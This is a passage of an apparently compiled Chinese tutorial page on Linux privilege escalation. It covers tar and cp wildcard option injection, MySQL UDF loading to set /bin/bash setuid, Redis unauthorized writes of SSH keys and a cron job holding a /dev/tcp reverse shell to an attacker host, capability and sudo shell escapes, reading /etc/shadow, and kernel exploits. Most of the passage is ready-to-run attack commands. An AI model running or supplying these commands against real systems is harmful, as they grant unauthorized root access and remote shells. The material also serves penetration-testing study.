\u65f6\u4f1a\u89e3\u6790\u7279\u5b9a\u53c2\u6570\u6216\u884c\u4e3a\uff0c\u4ece\u800c\u6267\u884c\u6076\u610f\u547d\u4ee4\u6216\u64cd\u4f5c\u6587\u4ef6\u5b9e\u73b0\u63d0\u6743\u3002\u4f8b\u5982\uff0c\u5f53\u6709 ",(0,i.jsx)(e.code,{children:"sudo tar -cf archive.tar *"})," \u7684\u6743\u9650\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u521b\u5efa\u7279\u6b8a\u53c2\u6570\u6587\u4ef6\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'echo \'echo pwned > /tmp/rooted\' > exploit.sh\nchmod +x exploit.sh\ntouch "--checkpoint=1"\ntouch "--checkpoint-action=exec=./exploit.sh"\nsudo tar -cf archive.tar *\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u5728\u6253\u5305\u65f6 ",(0,i.jsx)(e.code,{children:"tar"})," \u4f1a\u81ea\u52a8\u6267\u884c ",(0,i.jsx)(e.code,{children:"./exploit.sh"}),"\uff0c\u4ece\u800c\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u53e6\u4e00\u4e2a\u5e38\u89c1\u4f8b\u5b50\u662f ",(0,i.jsx)(e.code,{children:"cp"})," \u547d\u4ee4\u3002\u5f53\u5b58\u5728 ",(0,i.jsx)(e.code,{children:"sudo cp * /etc/"})," \u6743\u9650\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u9009\u9879\u6ce8\u5165\u548c\u76ee\u6807\u6587\u4ef6\u5b9e\u73b0\u63d0\u6743\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'echo \'youruser ALL=(ALL) NOPASSWD:ALL\' > sudoers\ntouch "--target-directory=/etc"\ntouch "--no-preserve=ownership"\nsudo cp * /etc/\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u53ef\u80fd\u5c06\u4f2a\u9020\u7684 ",(0,i.jsx)(e.code,{children:"sudoers"})," \u6587\u4ef6\u590d\u5236\u5230 ",(0,i.jsx)(e.code,{children:"/etc/sudoers"}),"\uff0c\u5b9e\u73b0\u514d\u5bc6\u7801 sudo \u63d0\u6743\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd8\u53ef\u4ee5\u7ed3\u5408 ",(0,i.jsx)(e.code,{children:"cp -L"})," \u9009\u9879\u8fdb\u884c\u5229\u7528\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"ln -s /etc/sudoers link\necho 'youruser ALL=(ALL) NOPASSWD:ALL' > payload\nmv payload link\nsudo cp -L * /etc/\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7531\u4e8e ",(0,i.jsx)(e.code,{children:"-L"})," \u9009\u9879\u4f1a\u89e3\u5f15\u7528\u7b26\u53f7\u94fe\u63a5\uff0c",(0,i.jsx)(e.code,{children:"cp"})," \u4f1a\u5c06 payload \u7684\u5185\u5bb9\u5199\u5165 ",(0,i.jsx)(e.code,{children:"/etc/sudoers"}),"\uff0c\u4ece\u800c\u5b9e\u73b0\u6743\u9650\u63d0\u5347\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"mysql-udf\u63d0\u6743",children:"Mysql UDF\u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:["MySQL UDF\u63d0\u6743\u5229\u7528\u7684\u662fMySQL\u6570\u636e\u5e93\u652f\u6301\u52a0\u8f7d\u7528\u6237\u81ea\u5b9a\u4e49\u51fd\u6570\uff08User Defined Function\uff09\u7684\u7279\u6027\u3002\u653b\u51fb\u8005\u901a\u8fc7\u4e0a\u4f20\u5e76\u52a0\u8f7d\u6076\u610f\u7f16\u8bd1\u597d\u7684\u5171\u4eab\u5e93\uff08",(0,i.jsx)(e.code,{children:".so"}),"\u6587\u4ef6\uff09\uff0c\u53ef\u4ee5\u5728\u6570\u636e\u5e93\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4\uff0c\u4ece\u800c\u5b9e\u73b0\u672c\u5730\u63d0\u6743\uff0c\u751a\u81f3\u83b7\u5f97root\u6743\u9650\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u524d\u63d0\u6761\u4ef6\uff1a"})}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:["\u5141\u8bb8\u653b\u51fb\u8005\u62e5\u6709\u5bfc\u51fa\u6743\u9650\u3002\u67e5\u770b\u53ef\u5bfc\u51fa\u4f4d\u7f6e\uff0cMySQL\u7528\u6237\u62e5\u6709",(0,i.jsx)(e.code,{children:"FILE"}),"\u6743\u9650\uff0c\u53ef\u4ee5\u5c06\u4e0a\u4f20\u7684",(0,i.jsx)(e.code,{children:".so"}),"\u6587\u4ef6\u5199\u5165MySQL\u63d2\u4ef6\u76ee\u5f55\uff08\u5982",(0,i.jsx)(e.code,{children:"/usr/lib/mysql/plugin/"}),"\uff09"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"show variables like '%secure%'\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"2",children:["\n",(0,i.jsxs)(e.li,{children:["\u5177\u5907MySQL\u7528\u6237\u6743\u9650\u80fd\u591f\u6267\u884c",(0,i.jsx)(e.code,{children:"CREATE FUNCTION"}),"\u8bed\u53e5\uff0c\u52a0\u8f7d\u6076\u610f\u7684UDF\u5171\u4eab\u5e93\u3002"]}),"\n",(0,i.jsx)(e.li,{children:"\u76ee\u6807MySQL\u670d\u52a1\u5668\u5141\u8bb8\u52a0\u8f7d\u5916\u90e8\u81ea\u5b9a\u4e49\u51fd\u6570\uff0c\u6ca1\u6709\u9650\u5236\u6216\u7981\u6b62\u8be5\u529f\u80fd\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u64cd\u4f5c\u7cfb\u7edf\u5c42\u9762\u5bf9MySQL\u8fdb\u7a0b\u7684\u6743\u9650\u9650\u5236\u4e0d\u4e25\u683c\uff0c\u6570\u636e\u5e93\u8fdb\u7a0b\u7528\u6237\u6709\u6743\u9650\u52a0\u8f7d\u5e76\u6267\u884c\u5171\u4eab\u5e93\u6587\u4ef6\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u653b\u51fb\u6b65\u9aa4\uff1a"})}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:["\u653b\u51fb\u8005\u51c6\u5907\u6076\u610fUDF\u6a21\u5757\u6587\u4ef6\uff08\u5982",(0,i.jsx)(e.code,{children:"lib_mysqludf_sys.so"}),"\uff09\uff0c\u901a\u8fc7",(0,i.jsx)(e.code,{children:"wget"}),"\u6216\u5176\u4ed6\u65b9\u5f0f\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7684\u4e34\u65f6\u76ee\u5f55\uff08\u5982",(0,i.jsx)(e.code,{children:"/tmp"}),"\uff09\u3002"]}),"\n",(0,i.jsx)(e.li,{children:"\u767b\u5f55MySQL\uff0c\u67e5\u8be2\u63d2\u4ef6\u76ee\u5f55\u4f4d\u7f6e\uff1a"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"SELECT @@plugin_dir;\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"3",children:["\n",(0,i.jsxs)(e.li,{children:["\u5148\u5c06\u6076\u610f\u5e93\u6587\u4ef6\u8f6c\u4e3a16\u8fdb\u5236\u683c\u5f0f\uff08\u6bd4\u5982\u7528 ",(0,i.jsx)(e.code,{children:"xxd -p lib_mysqludf_sys.so"}),"\uff09\uff0c\u7136\u540e\u62c6\u5206\u6210\u5408\u9002\u5927\u5c0f\u7684\u7247\u6bb5\u3002"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"xxd -p lib_mysqludf_sys.so\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"4",children:["\n",(0,i.jsxs)(e.li,{children:["\u4f7f\u7528MySQL\u7684",(0,i.jsx)(e.code,{children:"FILE"}),"\u6743\u9650\uff0c\u5c06\u4e0a\u4f20\u7684",(0,i.jsx)(e.code,{children:".so"}),"\u6587\u4ef6\u5199\u5165\u63d2\u4ef6\u76ee\u5f55\uff1a"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"SELECT UNHEX('7f454c4602010100000000000000000002003e0001000000b0404000000000004000000000000000000000000') \nINTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"5",children:["\n",(0,i.jsx)(e.li,{children:"\u52a0\u8f7d\u6076\u610f\u5171\u4eab\u5e93\u4e3aMySQL\u81ea\u5b9a\u4e49\u51fd\u6570\uff1a"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"6",children:["\n",(0,i.jsx)(e.li,{children:"\u8c03\u7528\u81ea\u5b9a\u4e49\u51fd\u6570\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5b9e\u73b0\u63d0\u6743\uff1a"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"SELECT sys_exec('chmod +s /bin/bash');\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"7",children:["\n",(0,i.jsx)(e.li,{children:"\u5229\u7528\u83b7\u5f97Set-UID\u6743\u9650\u7684shell\uff1a"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"/bin/bash -p\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5373\u53ef\u83b7\u5f97root\u6743\u9650\u7684shell\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"redis-\u63d0\u6743",children:"Redis \u63d0\u6743"}),"\n",(0,i.jsx)(e.p,{children:"Redis \u9ed8\u8ba4\u8fd0\u884c\u5728 root \u6743\u9650\u6216\u9ad8\u6743\u9650\u7528\u6237\u4e0b\uff0c\u82e5\u76ee\u6807 Redis \u5f00\u542f\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u4e14\u5141\u8bb8\u5199\u6587\u4ef6\uff0c\u5219\u53ef\u5199\u5165 SSH \u516c\u94a5\u3001\u5199 cron \u8ba1\u5212\u4efb\u52a1\u3001\u5199\u5165\u53cd\u5f39 shell\uff0c\u6700\u7ec8\u5b9e\u73b0\u672c\u5730\u63d0\u6743\u6216\u8fdc\u7a0b\u63a7\u5236\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u3001\u524d\u63d0\u6761\u4ef6"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Redis \u65e0\u9700\u8ba4\u8bc1"}),"\uff08\u6216\u653b\u51fb\u8005\u5df2\u83b7\u5f97 Redis \u5bc6\u7801\uff09\uff1b"]}),"\n",(0,i.jsx)(e.li,{children:"Redis \u670d\u52a1\u8fd0\u884c\u7528\u6237\u6743\u9650\u8f83\u9ad8\uff08\u5982 root\uff09\uff1b"}),"\n",(0,i.jsx)(e.li,{children:"Redis \u914d\u7f6e\u5141\u8bb8\u5916\u90e8\u8fde\u63a5\uff1b"}),"\n",(0,i.jsxs)(e.li,{children:["Redis \u53ef\u6267\u884c ",(0,i.jsx)(e.code,{children:"CONFIG SET"})," \u5199\u5165\u76ee\u5f55\u548c\u6587\u4ef6\uff08\u901a\u5e38\u672a\u7981\u7528\uff09\uff1b"]}),"\n",(0,i.jsx)(e.li,{children:"\u76ee\u6807\u4e3b\u673a\u5141\u8bb8\u8bbf\u95ee Redis \u7aef\u53e3\uff08\u9ed8\u8ba4 6379\uff09\uff1b"}),"\n",(0,i.jsxs)(e.li,{children:["\u53ef\u63a7\u5236 Redis \u7684\u5199\u5165\u8def\u5f84\uff08\u5982 ",(0,i.jsx)(e.code,{children:"/root/.ssh/authorized_keys"})," \u6216 ",(0,i.jsx)(e.code,{children:"/var/spool/cron/root"})," \u7b49\uff09\uff1b"]}),"\n"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u4e8c\u3001\u653b\u51fb\u539f\u7406"}),"\n",(0,i.jsxs)(e.p,{children:["Redis \u652f\u6301\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"CONFIG SET"})," \u4fee\u6539\u6570\u636e\u76ee\u5f55 ",(0,i.jsx)(e.code,{children:"dir"})," \u548c\u6570\u636e\u5e93\u6587\u4ef6\u540d ",(0,i.jsx)(e.code,{children:"dbfilename"}),"\uff0c\u5e76\u53ef\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"SAVE"})," \u547d\u4ee4\u5c06\u5f53\u524d\u5185\u5b58\u4e2d\u7684\u6570\u636e\u5199\u5165\u78c1\u76d8\u3002\u653b\u51fb\u8005\u5c06\u6076\u610f\u5185\u5bb9\u5199\u5165\u952e\u503c\u5bf9\u540e\uff0c\u518d\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"SAVE"})," \u5c06\u8fd9\u4e9b\u5185\u5bb9\u4ee5\u6587\u4ef6\u5f62\u5f0f\u5199\u5165\u76ee\u6807\u76ee\u5f55\uff0c\u5b9e\u73b0\u4efb\u610f\u6587\u4ef6\u5199\u5165\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u4e09\u3001\u5e38\u89c1\u5229\u7528\u65b9\u5f0f"}),"\n",(0,i.jsx)(e.p,{children:"\u2705 \u5199\u5165 SSH \u516c\u94a5\uff08\u63d0\u6743\u5230 root\uff09"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u6b65\u9aa4\uff1a"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'# \u751f\u6210\u5bc6\u94a5\u5bf9\nssh-keygen -t rsa -f redis_key\n\n# \u8fde\u63a5 Redis\nredis-cli -h target_ip\n\n# \u5199\u5165\u516c\u94a5\u5185\u5bb9\u4e3a\u503c\uff08\u9700\u6362\u884c\uff09\nset backup "\\n\\nssh-rsa AAAAB3Nza...\u4f60\u7684\u516c\u94a5...== attacker@kali\\n\\n"\n\n# \u8bbe\u7f6e\u76ee\u6807\u8def\u5f84\nconfig set dir /root/.ssh/\nconfig set dbfilename "authorized_keys"\n\n# \u5199\u5165\u78c1\u76d8\nsave\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u7136\u540e\u5373\u53ef\u901a\u8fc7\u79c1\u94a5 SSH \u767b\u5f55\u76ee\u6807\u4e3b\u673a\uff0c\u83b7\u5f97 root shell\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:"ssh -i redis_key root@target_ip\n"})}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u2705 \u5199\u5165 Cron Job\uff08\u6267\u884c\u53cd\u5f39 shell\uff09"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"# \u5199\u4e00\u4e2a\u53cd\u5f39 shell \u5230 Redis\nset backup \"\\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/yourip/port 0>&1'\\n\"\n\n# \u4fee\u6539\u76ee\u5f55\nconfig set dir /var/spool/cron/\nconfig set dbfilename root\n\n# \u6267\u884c\u5199\u5165\nsave\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u76d1\u542c\u7aef\u53e3\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"nc -lvvp port\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u5206\u949f\u540e\u76ee\u6807\u673a\u5668\u81ea\u52a8\u8fde\u63a5\u56de\u6765\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"capabilities-\u63d0\u6743",children:"Capabilities \u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 Linux \u4e2d\uff0c\u4f20\u7edf\u4e0a\u53ea\u6709 ",(0,i.jsx)(e.code,{children:"root"})," \u7528\u6237\u624d\u80fd\u6267\u884c\u67d0\u4e9b\u53d7\u9650\u64cd\u4f5c\uff0c\u5982\u76d1\u542c\u4f4e\u7aef\u53e3\u3001\u52a0\u8f7d\u5185\u6838\u6a21\u5757\u3001\u6267\u884c\u6302\u8f7d\u7b49\u3002\u4e3a\u7ec6\u5316\u6743\u9650\u63a7\u5236\uff0cLinux \u5f15\u5165\u4e86 ",(0,i.jsx)(e.strong,{children:"Capabilities\uff08\u80fd\u529b\u4f4d\uff09"})," \u6982\u5ff5\uff0c\u628a\u539f\u672c root \u72ec\u6709\u7684\u6743\u9650\u62c6\u5206\u4e3a\u82e5\u5e72\u5c0f\u80fd\u529b\u4f4d\uff0c\u5141\u8bb8\u975e root \u7528\u6237\u5728\u4fdd\u7559\u6700\u5c0f\u6743\u9650\u7684\u524d\u63d0\u4e0b\u6267\u884c\u7279\u5b9a\u64cd\u4f5c\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u653b\u51fb\u8005\u82e5\u80fd\u53d1\u73b0\u67d0\u4e2a\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u5177\u5907\u7279\u6b8a Capabilities\uff08\u5c24\u5176\u662f\u5177\u5907 ",(0,i.jsx)(e.code,{children:"cap_setuid"}),", ",(0,i.jsx)(e.code,{children:"cap_setgid"}),", ",(0,i.jsx)(e.code,{children:"cap_sys_admin"})," \u7b49\uff09\uff0c\u5c31\u53ef\u80fd\u901a\u8fc7\u5b83\u95f4\u63a5\u63d0\u6743\u4e3a root\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u67e5\u770b Capabilities"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"getcap"})," \u547d\u4ee4\u53ef\u67e5\u770b\u7cfb\u7edf\u4e2d\u5177\u6709 Capabilities \u7684\u53ef\u6267\u884c\u6587\u4ef6\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"getcap -r / 2>/dev/null\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\u793a\u4f8b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"/usr/bin/python3.11 = cap_setuid+ep\n/usr/bin/ping = cap_net_raw+ep\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8bf4\u660e ",(0,i.jsx)(e.code,{children:"/usr/bin/python3.11"})," \u5177\u6709 ",(0,i.jsx)(e.code,{children:"cap_setuid"})," \u6743\u9650\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u7528\u6237UID\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u5173\u952e Capabilities \u6743\u9650\u4f4d\u8bf4\u660e"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:"Capabilities"}),(0,i.jsx)(e.th,{children:"\u542b\u4e49"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_setuid"})}),(0,i.jsx)(e.td,{children:"\u5141\u8bb8\u8fdb\u7a0b\u66f4\u6539\u5176\u6709\u6548 UID\uff08\u53ef\u7528\u4e8e\u63d0\u6743\uff09"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_setgid"})}),(0,i.jsx)(e.td,{children:"\u5141\u8bb8\u66f4\u6539 GID"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_sys_admin"})}),(0,i.jsx)(e.td,{children:"\u7c7b\u4f3c root \u6743\u9650\uff0c\u53ef\u6302\u8f7d\u3001\u4fee\u6539\u7cfb\u7edf\u914d\u7f6e\u7b49"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_dac_override"})}),(0,i.jsx)(e.td,{children:"\u7ed5\u8fc7\u6587\u4ef6\u6743\u9650\u68c0\u67e5\uff08\u7c7b\u4f3c root \u53ef\u8bfb\u5199\u4efb\u610f\u6587\u4ef6\uff09"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:"cap_net_bind_service"})}),(0,i.jsx)(e.td,{children:"\u76d1\u542c 1024 \u4ee5\u4e0b\u7aef\u53e3"})]})]})]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u63d0\u6743\u5229\u7528\u573a\u666f\uff08\u6848\u4f8b\uff09"}),"\n",(0,i.jsxs)(e.p,{children:["\u5229\u7528\u5e26\u6709 ",(0,i.jsx)(e.code,{children:"cap_setuid+ep"})," \u7684\u4e8c\u8fdb\u5236\u63d0\u6743"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u653b\u51fb\u8005\u53d1\u73b0\u67d0\u7a0b\u5e8f\uff08\u5982 Python\uff09\u5177\u6709 ",(0,i.jsx)(e.code,{children:"cap_setuid+ep"})," \u6743\u9650\uff0c\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a SUID shell\uff0c\u4ece\u800c\u63d0\u6743\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u5229\u7528\u6b65\u9aa4\uff1a"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"# \u68c0\u67e5\u662f\u5426\u5177\u6709 cap_setuid\ngetcap /usr/bin/python3.11\n# \u8f93\u51fa\u5e94\u4e3a: /usr/bin/python3.11 = cap_setuid+ep\n\n# \u7f16\u5199 Python \u63d0\u6743\u4ee3\u7801\n/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u6b64\u65f6\uff0c\u653b\u51fb\u8005\u5c06\u83b7\u5f97 root shell\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsxs)(e.p,{children:["\u5229\u7528 ",(0,i.jsx)(e.code,{children:"cap_dac_override"})," \u7ed5\u8fc7\u6743\u9650\u9650\u5236\u8bfb\u53d6\u6587\u4ef6"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"# \u82e5\u67d0\u4e8c\u8fdb\u5236\u5177\u6709 cap_dac_override\uff0c\u53ef\u8bfb\u53d6\u4efb\u610f\u6743\u9650\u6587\u4ef6\n/usr/bin/cat /etc/shadow\n"})}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u5229\u7528\u81ea\u7f16\u7a0b\u7a0b\u5e8f\u6267\u884c\u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:["\u653b\u51fb\u8005\u53ef\u5c06\u4efb\u610f\u4e8c\u8fdb\u5236\u8bbe\u7f6e cap \u6743\u9650\uff08\u5982 ",(0,i.jsx)(e.code,{children:"cap_setuid"}),"\uff09\uff0c\u5b9e\u73b0\u63d0\u6743\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'# \u751f\u6210\u4e00\u4e2aC\u7a0b\u5e8f\ncat > suid_shell.c <<EOF\n#include <unistd.h>\nint main() {\n setuid(0); system("/bin/bash");\n return 0;\n}\nEOF\n\n# \u7f16\u8bd1\ngcc suid_shell.c -o suid_shell\n\n# \u8d4b\u4e88cap_setuid\nsudo setcap cap_setuid+ep ./suid_shell\n\n# \u6267\u884c\u5373\u63d0\u6743\n./suid_shell\n'})}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.h3,{id:"sudo-\u63d0\u6743",children:"Sudo \u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"sudo \u63d0\u6743"})," \u662f\u6307\u5f53\u7528\u6237\u53ef\u4ee5\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"sudo"})," \u6267\u884c\u67d0\u4e9b\u547d\u4ee4\u65f6\uff0c\u5229\u7528\u8be5\u547d\u4ee4\u7684\u7279\u6027\u6267\u884c\u4efb\u610f\u547d\u4ee4\u6216\u9003\u9038\u5230\u4ea4\u4e92\u5f0f shell\uff0c\u4ece\u800c\u63d0\u6743\u4e3a root\u3002\u5173\u952e\u70b9\u5728\u4e8e ",(0,i.jsx)(e.code,{children:"sudo -l"})," \u5217\u51fa\u7684\u547d\u4ee4\u662f\u5426\u5b58\u5728\u53ef\u5229\u7528\u70b9\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u4f8b\u5982\uff0c\u5f53\u7528\u6237\u53ef\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u65f6\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"sudo vim\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u53ef\u4ee5\u5728 vim \u4e2d\u8f93\u5165\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:":!bash\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5373\u53ef\u5f39\u51fa root shell\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u53c8\u5982\u7528\u6237\u80fd\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo less"}),"\uff0c\u4e5f\u53ef\u4ee5\u8f93\u5165\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"!bash\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6216\u5f53\u80fd\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo python"})," \u65f6\uff0c\u76f4\u63a5\u8f93\u5165\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:'import os\nos.system("/bin/bash")\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u82e5\u80fd\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo find"}),"\uff0c\u5219\u53ef\u6267\u884c\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"sudo find . -exec /bin/bash \\;\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4f8b\u5982",(0,i.jsx)(e.code,{children:"sudo awk"})]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-shell",children:"ubuntu@VM-4-13-ubuntu:/$ sudo awk 'BEGIN {system(\"/bin/sh\")}'\n# whoami\nroot\n#\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u82e5\u80fd\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo cp"})," \u6216\u5176\u4ed6\u6587\u4ef6\u64cd\u4f5c\u547d\u4ee4\uff0c\u4e5f\u53ef\u4ee5\u7528\u5b83\u4eec\u8986\u76d6\u654f\u611f\u6587\u4ef6\u5982 ",(0,i.jsx)(e.code,{children:"/etc/sudoers"})," \u6216 ",(0,i.jsx)(e.code,{children:"/etc/passwd"}),"\uff0c\u914d\u5408\u524d\u8ff0\u65b9\u6cd5\u5b8c\u6210\u63d0\u6743\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u5185\u6838-\u63d0\u6743",children:"\u5185\u6838 \u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u5185\u6838\u63d0\u6743"})," \u662f\u901a\u8fc7\u5229\u7528 Linux \u5185\u6838\u4e2d\u7684\u5df2\u77e5\u6f0f\u6d1e\uff0c\u8fd0\u884c\u672c\u5730\u6f0f\u6d1e\u5229\u7528\u4ee3\u7801\uff08exploit\uff09\u5b9e\u73b0\u6743\u9650\u63d0\u5347\u3002\u5e38\u7528\u65b9\u5f0f\u662f\u5148\u7528 ",(0,i.jsx)(e.code,{children:"uname -r"})," \u83b7\u53d6\u5185\u6838\u7248\u672c\uff0c\u518d\u7528 ",(0,i.jsx)(e.code,{children:"searchsploit"})," \u67e5\u627e\u5bf9\u5e94\u6f0f\u6d1e\u5229\u7528\u5de5\u5177\uff0c\u6700\u540e\u4e0b\u8f7d\u7f16\u8bd1\u6267\u884c\u5b8c\u6210\u63d0\u6743\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u64cd\u4f5c\u793a\u4f8b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"uname 